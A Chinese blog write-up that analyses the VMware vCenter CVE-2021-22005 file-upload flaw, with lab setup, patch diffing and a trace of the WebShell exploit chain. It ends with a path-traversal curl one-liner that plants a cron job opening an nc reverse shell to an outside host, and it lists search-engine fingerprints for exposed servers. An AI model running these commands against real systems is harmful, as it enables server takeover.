漏洞描述
CVE-2021-22005这个漏洞名称为VMware vCenter Server任意文件上传漏洞,具体表现为对端口443具有网络访问权限的访客在未授权登录的情况下可利用该漏洞上传恶意文件并执行任意代码,从而控制服务器。该漏洞于2021年9月21日由VMware官方发布公告,并确认了有关该漏洞正在被广泛利用的情况。
站点搭建
vCenter server在我当初学习的时候是有搭建过的,手上有6.0和6.5的资源,但是搭建起来之后并不能使用,稍微动一动就会报错,也不知道是什么原因,所以去网络上找了带有漏洞的7.0.2版本重新进行搭建,这里也记录一下搭建过程中的踩坑历程。
废话不多说,进入正题:
首先同样是获取相应的镜像文件。
我是在这里下载的vCenter server VCSA7,选择的版本是7.0U2a
接下来就是踩坑了。
vCenter server应该是在某个版本更新之后下载下来的iso镜像不能直接在workstation进行部署,这个应该是6.7版本开始的,如果说直接使用镜像文件部署的话BOOT引导会出问题,在查询了一系列的资料后,正确操作如下:
以压缩包的方式打开镜像文件,其他的提取镜像文件中内容的软件同样可行
我这里是在压缩包里打开的,需要提取\vcsa\VMware-vCenter-Server-Appliance-7.0.2.00100-17920168_OVF10.ova
,这个路径在不同版本中可能不同,有些可能是vmware-vcsa
,多留意一下。
到这里能够安装的文件就准备好了,OVA模板可以直接部署到workstation,然后按照正常的虚拟机进行创建即可。
部署选项根据自己的物理机性能自行决定,我这里选择最小的。
到这一步需要注意的比较多,Network Configuration
这里需要设置网络,每一项后面都有示例,需要注意的是这个OVA部署是默认桥接,所以在设置Host Network IP Address
时要注意网段。
除此之外就是要在System Configuration
中设置root密码,一定要设置!Upgrade Configuration
页面根据提示要设置Username
和Password
这个是前端登录的用户名和密码。
完成这一页的设置后开始进行部署即可,部署完成后会自动开机。
部署完成后会到这个界面,这里提示要访问https://ip:5480进行最后的vCenter部署。
输入刚刚设置的密码点击安装程序,一步一步默认安装即可。
为了保证能够保证漏洞环境的有效性,一定要配置CEIP,配置完成后等待安装完成即可开始漏洞测试。
对了,除了这些,一定要打开后台SSH的登录,分析漏洞嘛,文件是必不可少的。
漏洞复现
这里先放上我的参考连接:VMware vCenter Server任意文件上传漏洞|CVE-2021-22005
因为我自己的JAVA代码水平比较弱,这篇文章很多都是参考雨苁博客的文章结合自己的理解写出来的,主观臆断比较多,可能会存在一些理解不当的地方,所以欢迎交流指正。
分析补丁和版本更迭差异定位漏洞发生原因
分析漏洞第一步就是先定位漏洞产生的文件位置,通过官方的通告、检测方法、补丁等等可以定位到易受攻击的特定 API 端点是/analytics/telemetry/ph/api/hyper/send
,对比相关漏洞版本和修复版本之后,修补文件位于VMware分析服务的RPM文件中,这边我直接采用雨苁的结果,这个过程感兴趣的可以自己做一下,在之前我写的CVE-2021-26084那篇文章中有相关的方法,也可以参考一下。
- VMware-analytics-7.0.2.00400-9102561.x86_64.rpm(已修补,RPM 来自 18455184)
- VMware-analytics-7.0.2.00000-8630354.x86_64.rpm(未打补丁,RPM 来自 17958471
然后提取RPM的内容
rpm2cpio <RPMFILE> | cpio -idmv
# rpm2cpio命令用于将rpm软件包转换为cpio格式的文件
# 语法:
# rpm2cpio(参数)
# 参数:
# 指定要转换的rpm包的文件名。
# 实例:
# rpm2cpio ../libstdc++-4.3.0-8.i386.rpm | cpio -idv
到这一步其实我有点懵,因为没有明白这个rpm文件到底怎么来的,然后看了一下雨苁提取出来的内容,对比了一下自己装好的系统的底层文件系统内容,对比了一下我的ISO文件和他所说的RPM文件,明白了!雨苁这里并没有搭建测试系统,而是直接对iso文件进行的提取和分析,不知道我理解的对不对,但确实我在我的测试系统中找到了相关的文件。
还是验证一下我的猜想吧,打开kali测试一下。没想到的是kali竟然没有rpm这个"内置"命令……
然后很可惜,ISO镜像文件并不能像RPM包一样提取内容……有点智商不在线,也不太想找RPM包了,就这样了反正下面内容我在系统中也找到了!统统摆烂!摆烂!!!
雨苁这边用了比较直接的一个办法就是直接解压相关的类文件,我觉得吧用上次的办法
find /usr/lib/vmware-analytics/lib -name "*.jar" -exec zipgrep "hyper" '{}' \;
# 回显
# com/vmware/ph/phservice/common/ph/RtsUriFactory.class:Binary file (standard input) matches
# com/vmware/vim/binding/vim/vm/device/VirtualVMCIDevice$Protocol.class:Binary file (standard input) matches
# com/vmware/vim/binding/vim/host/CpuSchedulerSystem.class:Binary file (standard input) matches
# com/vmware/vim/binding/vim/host/ConfigInfo.class:Binary file (standard input) matches
# com/vmware/analytics/vapi/TelemetryDefinitions.class:Binary file (standard input) matches
# com/vmware/ph/phservice/push/telemetry/server/AsyncTelemetryController.class:Binary file (standard input) matches
# com/vmware/ph/upload/rest/PhRestClientImpl.class:Binary file (standard input) matches
雨苁这边的重点在AsyncTelemetryController.class
这个文件中,想办法搞出来这个jar包。导入IDEA继续跟进。
这里提一嘴,也是实际操作过程让我有了对于"雨苁并没有部署vCenter去分析而是直接拉取文件"这个动作的猜想,估计是没能解决sftp在vCenter上无法使用的问题,这个问题我也是研究了好几天,偶然之中找到了这篇文章如何将文件 SCP 到 VMware vCenter Appliance 6.0 (vCSA),在找到这篇文章之前试过了很多办法,比如说重装vsftp
、更改sshd.config
,scp
命令等等,都行不通。
在使用scp
命令的过程中,我发现不论是我的个人机器还是vCenter都有scp这个命令,但是在执行过程中却弹出Unknown command: 'scp'
提示,将该提示进行搜索之后发现了这篇救命的文章。
这篇文章中指出是因为vCenter的shell并不是Bash Shell,而是Appliance Shell,所以说部分命令并不能使用,直接使用的这个Shell类似于安全shell或者说是有限制性的shell,这个看你怎么理解,然后使用chsh
命令将shell更改为Bash Shell即可使用sftp了。
# 在shell中,运行以下命令将默认 Appliance shell更改为 Bash shell:
chsh -s "/bin/bash" root
# 通过运行以下命令返回到 Appliance Shell:
chsh -s /bin/appliancesh root
漏洞细节
通过定位和代码阅读基本上可以确定,在通过POST方式请求/ph/api/hyper/send
和/ph-stg/api/hyper/send
会调用handleSendRequest
这个函数,而这个函数就是漏洞起点。在后续版本的更新中可以看到handleSendRequest
这个函数增加新的判断条件,以对该漏洞的修复,不过我觉得仅仅只是对非法字符或内容的检测还是会存在绕过的,能力有限这个我就不做了。
!IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId)
一个简单的基于正则表达式的检查 ([\w-]
) 来断言收集器实例 ID(_i 查询参数)的格式是有效的,并且不包含无效字符。
!AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId)
确保在collectorIdWhitelist
数组中找到传入的收集器 ID 。
// AsyncTelemetryController.class
@RequestMapping(
method = {RequestMethod.POST},
value = {"/ph/api/hyper/send"}
)
public Callable<ResponseEntity<Void>> handleSendRequest(HttpServletRequest httpRequest, @RequestParam(value = "_v",required = false) String version, @RequestParam("_c") String collectorId, @RequestParam(value = "_i",required = false) String collectorInstanceId) throws IOException {
return this.handleSendRequest(this._prodTelemetryService, this._prodRateLimiterProvider, httpRequest, version, collectorId, collectorInstanceId);
}
@RequestMapping(
method = {RequestMethod.POST},
value = {"/ph-stg/api/hyper/send"}
)
public Callable<ResponseEntity<Void>> handleStageSendRequest(HttpServletRequest httpRequest, @RequestParam(value = "_v",required = false) String version, @RequestParam("_c") String collectorId, @RequestParam(value = "_i",required = false) String collectorInstanceId) throws IOException {
return this.handleSendRequest(this._stageTelemetryService, this._stageRateLimiterProvider, httpRequest, version, collectorId, collectorInstanceId);
}
……
// 旧版本
private Callable<ResponseEntity<Void>> handleSendRequest(final TelemetryService telemetryService, final RateLimiterProvider rateLimiterProvider, HttpServletRequest httpRequest, String version, final String collectorId, final String collectorInstanceId) throws IOException {
final TelemetryRequest telemetryRequest = createTelemetryRequest(httpRequest, version, collectorId, collectorInstanceId);
return new Callable<ResponseEntity<Void>>() {
public ResponseEntity<Void> call() throws Exception {
if (!AsyncTelemetryController.this.isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider)) {
return new ResponseEntity(HttpStatus.TOO_MANY_REQUESTS);
} else {
telemetryService.processTelemetry(telemetryRequest.getCollectorId(), telemetryRequest.getCollectorIntanceId(), new TelemetryRequest[]{telemetryRequest});
return new ResponseEntity(HttpStatus.CREATED);
}
}
};
}
//新版本
private Callable<ResponseEntity<Void>> handleSendRequest(final TelemetryService telemetryService, final RateLimiterProvider rateLimiterProvider, HttpServletRequest httpRequest, String version, final String collectorId, final String collectorInstanceId) throws IOException {
final TelemetryRequest telemetryRequest = AsyncTelemetryController.createTelemetryRequest(httpRequest, version, collectorId, collectorInstanceId);
return new Callable<ResponseEntity<Void>>(){
@Override
public ResponseEntity<Void> call() throws Exception {
if (!AsyncTelemetryController.this.isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider)) {
return new ResponseEntity(HttpStatus.TOO_MANY_REQUESTS);
}
if (!IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId) || !AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId)) {
_log.debug((Object)String.format("Incorrect collectorId '%s' or collectorInstanceId '%s'. Returning 400.", LogUtil.sanitiseForLog(collectorId), LogUtil.sanitiseForLog(collectorInstanceId)));
return new ResponseEntity(HttpStatus.BAD_REQUEST);
}
telemetryService.processTelemetry(telemetryRequest.getCollectorId(), telemetryRequest.getCollectorIntanceId(), new TelemetryRequest[]{telemetryRequest});
return new ResponseEntity(HttpStatus.CREATED);
}
};
}
接下来是对handleSendRequest
函数中的telemetryService.processTelemetry
继续进行跟进。
// AsyncTelemetryServiceWrapper.class
public Future<Boolean> processTelemetry(String collectorId, String collectorInstanceId, TelemetryRequest[] telemetryRequests) {
this._telemetryRequestsExecutor.submit(new AsyncTelemetryServiceWrapper.TelemetryRequestProcessorRunnable(collectorId, collectorInstanceId, telemetryRequests));
return new ResultFuture(Boolean.TRUE);
}
刚刚创建的 TelemetryRequest
将被提交到一个队列并在不久之后在TelemetryRequestProcessorRunnable
处执行。
// AsyncTelemetryServiceWrapper.class
private class TelemetryRequestProcessorRunnable implements Runnable {
private final String _collectorId;
private final String _collectorInstanceId;
private final TelemetryRequest[] _telemetryRequests;
public TelemetryRequestProcessorRunnable(String collectorId, String collectorInstanceId, TelemetryRequest[] telemetryRequests) {
this._collectorId = collectorId;
this._collectorInstanceId = collectorInstanceId;
this._telemetryRequests = telemetryRequests;
}
public void run() {
AsyncTelemetryServiceWrapper.this._telemetryService.processTelemetry(this._collectorId, this._collectorInstanceId, this._telemetryRequests);
}
}
run()中继续追踪AsyncTelemetryServiceWrapper
,processTelemetry()
中服务器从传入的collectorId
、collectorInstanceId
参数实现getTelemetryLevel()
。
// TelemetryLevelBasedTelemetryServiceWrapper.class
public Future<Boolean> processTelemetry(String collectorId, String collectorInstanceId, TelemetryRequest[] telemetryRequests) {
TelemetryLevel telemetryLevel = this._telemetryLevelService.getTelemetryLevel(collectorId, collectorInstanceId);
boolean isSuccessfullyProcessed = false;
if (telemetryLevel != TelemetryLevel.OFF) {
Future result = this._wrappedTelemetryService.processTelemetry(collectorId, collectorInstanceId, telemetryRequests);
try {
isSuccessfullyProcessed = (Boolean)result.get();
} catch (ExecutionException | InterruptedException var8) {
if (var8 instanceof InterruptedException) {
Thread.currentThread().interrupt();
}
}
}
if (_log.isDebugEnabled()) {
_log.debug(String.format("Telemetry request processed: %s; collector id: %s; telemetry level: %s", isSuccessfullyProcessed, collectorId, telemetryLevel.name()));
}
return new ResultFuture(isSuccessfullyProcessed);
}
按照目前的程序流程,还会继续调用DefaultTelemetryLevelService.getTelemetryService()
来获取 TelemtryLevel
,这里准确来说是telemetryLevel
更为合适。
// DefaultTelemetryLevelService.class
public TelemetryLevel getTelemetryLevel(String collectorId, String collectorInstanceId) {
boolean isCeipEnabled = false;
if (this._ceipConfigProvider != null) {
isCeipEnabled = this._ceipConfigProvider.isCeipEnabled();
}
CollectorAgent collectorAgent = new CollectorAgent(collectorId, collectorInstanceId);
if (!isCeipEnabled) {
if (_log.isDebugEnabled()) {
_log.debug("CEIP is disabled. Telemetry level is evaluated to OFF for {}", collectorAgent);
}
return TelemetryLevel.OFF;
} else if (this._manifestContentProvider == null) {
_log.info("There is no manifest content provider. Using default telemetry level {}", DEFAULT_TELEMETRY_LEVEL);
return DEFAULT_TELEMETRY_LEVEL;
} else {
return this.getTelemetryLevelFromCache(collectorAgent);
}
}
到这里就可以很容易地看到:如果CEIP功能被禁用,程序将始终将遥测级别返回为"OFF",但是我在本地搭建的环境中,将CEIP功能打开后,程序的遥测级别返回仍然是"OFF",这个返回值一定程度上影响着漏洞是否可以利用,不过前端显示的这个东西好像还是存在偏差。所以说根据"OFF"去判断漏洞是否存在还是存在一定的误差。
继续追踪代码。在TelemetryLevelBasedTelemetryServiceWrapper.class
中,processTelemetry()
如果TelemetryLevel = OFF
,服务端将不会继续处理请求并返回。
if (telemetryLevel != TelemetryLevel.OFF) {
Future result = this._wrappedTelemetryService.processTelemetry(collectorId, collectorInstanceId, telemetryRequests);
try {
isSuccessfullyProcessed = (Boolean)result.get();
} catch (ExecutionException | InterruptedException var8) {
if (var8 instanceof InterruptedException) {
Thread.currentThread().interrupt();
}
}
}
if (_log.isDebugEnabled()) {
_log.debug(String.format("Telemetry request processed: %s; collector id: %s; telemetry level: %s", isSuccessfullyProcessed, collectorId, telemetryLevel.name()));
}
假设我们的环境启用了 CEIP,服务器继续进入LogTelemetryService
分支。processTelemetry()
,这里的处理代码只是记录刚刚传入的TelemetryRequest
,日志的内容就是请求体。
public Future<Boolean> processTelemetry(String collectorId, String collectorInstanceId, TelemetryRequest[] telemetryRequests) {
ThreadContext.put("logTelemetryDirPath", this._logDirPath.normalize().toString());
ThreadContext.put("logTelemetryFileName", LogTelemetryUtil.getLogFileNamePattern(collectorId, collectorInstanceId));
TelemetryRequest[] var4 = telemetryRequests;
int var5 = telemetryRequests.length;
for(int var6 = 0; var6 < var5; ++var6) {
TelemetryRequest telemetryRequest = var4[var6];
this._logger.info(serializeToLogMessage(telemetryRequest));
}
return new ResultFuture(Boolean.TRUE);
}
到这里我的部分基本上就算结束了,剩下的内容就是对此漏洞的利用,之后的分析是参考的这篇文章——vCenter RCE 详细分析过程 (CVE-2021–22005),个人的水平有限再加上手上拿到的文件是测试环境服务器中拖下来的并不能像其他人一样去运行,所以还是缺少很多的能够分析的点,比如说logDirPath
、filename
等等参数是怎么来的,不过这里还是会说一说我在漏洞复现的时候遇到的一些点。
漏洞利用过程
创建遥测端点
我这边对于漏洞的复现基本上是建立在EXP脚本的使用上,看脚本的利用过程,然后根据落地文件和数据包这两部分来确定后面的内容是什么样子的。
简单说说这个利用过程,首先是创建Agent,这个Agent是为了后面落地WebShell而存在的,这个Agent的真实面目就是存储在/var/log/vmware/analytics/prod/
路径下的日志文件,但这个日志文件落地后并不是原本的格式,而被解析成了.json
格式的文件。
Agent落地后,再通过Agent落地WebShell,而WebShell落地路径为/usr/lib/vmware-sso/vmware-sts/webapps/ROOT
。
我在之前找到EXP脚本的基础上重新编写了我自己的脚本,提高了整个脚本的可读性,也能更容易的理解整个攻击过程。不过比较尴尬的是我重新编写完成后加上代理之后就会报错,虽然数据包和回包都很正常,但是脚本运行结果却不正常。
这个报错呢,有几个猜想:
- 安装的库中不支持"HTTP/2"
- 在排错的过程中看到了有的包会返回http.status_code=409
- 数据包中的某个字段存在错误
不过后续就没有再继续进行排错,因为不挂代理就可以用啊,所以说算了,就这样了!如果说你看到这里有什么想法的话,可以留言,我的脚本发布在我自己的GitHub上了。
漏洞利用过程中第一个数据包如下,是一个创建Agent的数据包,返回包是HTTP/2数据包,http.status_code=201,这个也是下一步的判断条件。
可以看到创建Agent的路径并不是写日志的路径,即/analytics/telemetry/ph/api/hyper/send?_c=&_i=
,这里涉及一个任意路径文件写入和落地WebShell的问题,任意路径文件写入/send?_c=&_i=
拼接/
之后利用生成的_c_i
文件夹可以进行任意路径遍历。在实际的攻击过程中,如果说出现问题无法利用,我觉得应该可以加一个拼接生成_c_i
文件夹之后再继续进行攻击。
使用_c=&_i=/<name>
,完整路径现在为/var/log/vmware/analytics/prod/_c_i/11247.json
,当Logger
调用RollingFileManager
时。createManager()
,服务器将检查父文件夹是否存在,这里是_c_i
,由于这个文件夹不存在,它很快就会被创建。
// /opt/vmware/lib64/log4j-core-2.13.0.jar/org/apache/logging/log4j/core/appender/rolling/RollingFileManager.class
private static class RollingFileManagerFactory implements ManagerFactory<RollingFileManager, RollingFileManager.FactoryData> {
private RollingFileManagerFactory() {
}
public RollingFileManager createManager(String name, RollingFileManager.FactoryData data) {
long size = 0L;
boolean writeHeader = !data.append;
File file = null;
if (data.fileName != null) {
file = new File(data.fileName);
writeHeader = !data.append || !file.exists();
try {
FileUtils.makeParentDirs(file);
boolean created = data.createOnDemand ? false : file.createNewFile();
RollingFileManager.LOGGER.trace("New file '{}' created = {}", name, created);
} catch (IOException var13) {
RollingFileManager.LOGGER.error("Unable to create file " + name, var13);
return null;
}
size = data.append ? file.length() : 0L;
}
try {
int actualSize = data.bufferedIO ? data.bufferSize : Constants.ENCODER_BYTE_BUFFER_SIZE;
ByteBuffer buffer = ByteBuffer.wrap(new byte[actualSize]);
OutputStream os = !data.createOnDemand && data.fileName != null ? new FileOutputStream(data.fileName, data.append) : null;
long initialTime = !data.createOnDemand && file != null ? RollingFileManager.initialFileTime(file) : 0L;
RollingFileManager rm = new RollingFileManager(data.getLoggerContext(), data.fileName, data.pattern, os, data.append, data.createOnDemand, size, initialTime, data.policy, data.strategy, data.advertiseURI, data.layout, data.filePermissions, data.fileOwner, data.fileGroup, writeHeader, buffer);
if (os != null && rm.isAttributeViewEnabled()) {
rm.defineAttributeView(file.toPath());
}
return rm;
} catch (IOException var14) {
RollingFileManager.LOGGER.error("RollingFileManager (" + name + ") " + var14, var14);
return null;
}
}
}
任意路径文件写入这个解决了之后就是写入WebShell的问题,因为利用_c_i
文件夹仅仅只能达成任意路径文件写入,但是文件内容只能写入JSON
数据,并不能写入WebShell代码,参考别人的文章后,这里可以说是利用带有action=collect
的端点/dataapp/agent
和绕过rhttpproxy
的方法,到这里端点问题就解决了
WebShell落地
这一块完全是我的能力范围外了,不过看了分析之后也能明白一二,我的理解是通过落地的端点利用某些JSON模板来写入WebShell,后面的就是利用WebShell执行命令了,不过有一点是我的WebShell连接工具并连不上这些WebShell,暂时不知道原因,其他的感兴趣的话就看一看我参考的那篇文章的原文吧。
漏洞检测
curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"
如果服务器以 200/OK 和响应正文中除“OFF”以外的任何内容(例如“FULL”)进行响应,则它很容易受到攻击。
如果它以 200/OK 和“OFF”的正文内容响应,则它很可能不易受到攻击,并且也未修补且未应用任何变通方法。
如果它以 400/Bad Request 响应,则对其进行修补。此检查利用以下事实:修补的实例将根据已知/接受的收集器 ID 列表检查收集器 ID (_c)。
如果它以 404 响应,则它要么不适用,要么已应用解决方法。该解决方法会禁用受影响的 API 端点。
任何其他状态代码可能暗示不适用。
这个检测方法呢,讲真存在比较高的误报率,我在使用这个Payload进行检测的时候返回的"OFF",就像我前文中所叙述的一样,我的建议呢,打一遍,最好的漏洞检测方法就是漏洞利用,只要不是那种打完就服务器蓝屏、死机的漏洞,最好就是利用Payload打一遍,如果能够利用成功就说明漏洞存在。
关于漏洞的其他内容
FOFA字段
app="vmware-VirtualCenter"
ZoomEye指纹
app:"VMware_vCenter"
影响范围
- VMware vCenter Server 7.0
- VMware vCenter Server 6.7 Running On Virtual Appliance
- VMware Cloud Foundation (vCenter Server) 4.x
- VMware Cloud Foundation (vCenter Server) 3.x
安全版本
- VMware vCenter Server 7.0 U2c
- VMware vCenter Server 6.7 U3o
- VMware Cloud Foundation (vCenter Server) KB85718 (4.3)
- VMware Cloud Foundation (vCenter Server) KB85719 (3.10.2.2)
缓解措施
建议关闭ECIP功能
漏洞修复
目前VMware已经发布了相关漏洞的补丁,建议受影响的用户参考VMware官方公告及时升级更新。下载链接:VMSA-2021-0020.1
写在最后
这个漏洞的代码量还是比较大的,啃了好长时间,毕竟没有Java代码的基础,学习起来还是比较吃力的,本来想着只改改脚本,改成自己的代码风格,方便自己阅读就好,但是想着权当学习了,就又重新拾起来这个漏洞一点一点啃代码,放弃、继续,再放弃、再继续,前前后后啃了三个星期,也算是完成了一个心事。
先这样了,如果有什么问题,欢迎友好交流!
反弹Shell
curl -kv "https:/xx.xx.xx.xx/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh vpsip地址 6666"
Comments | NOTHING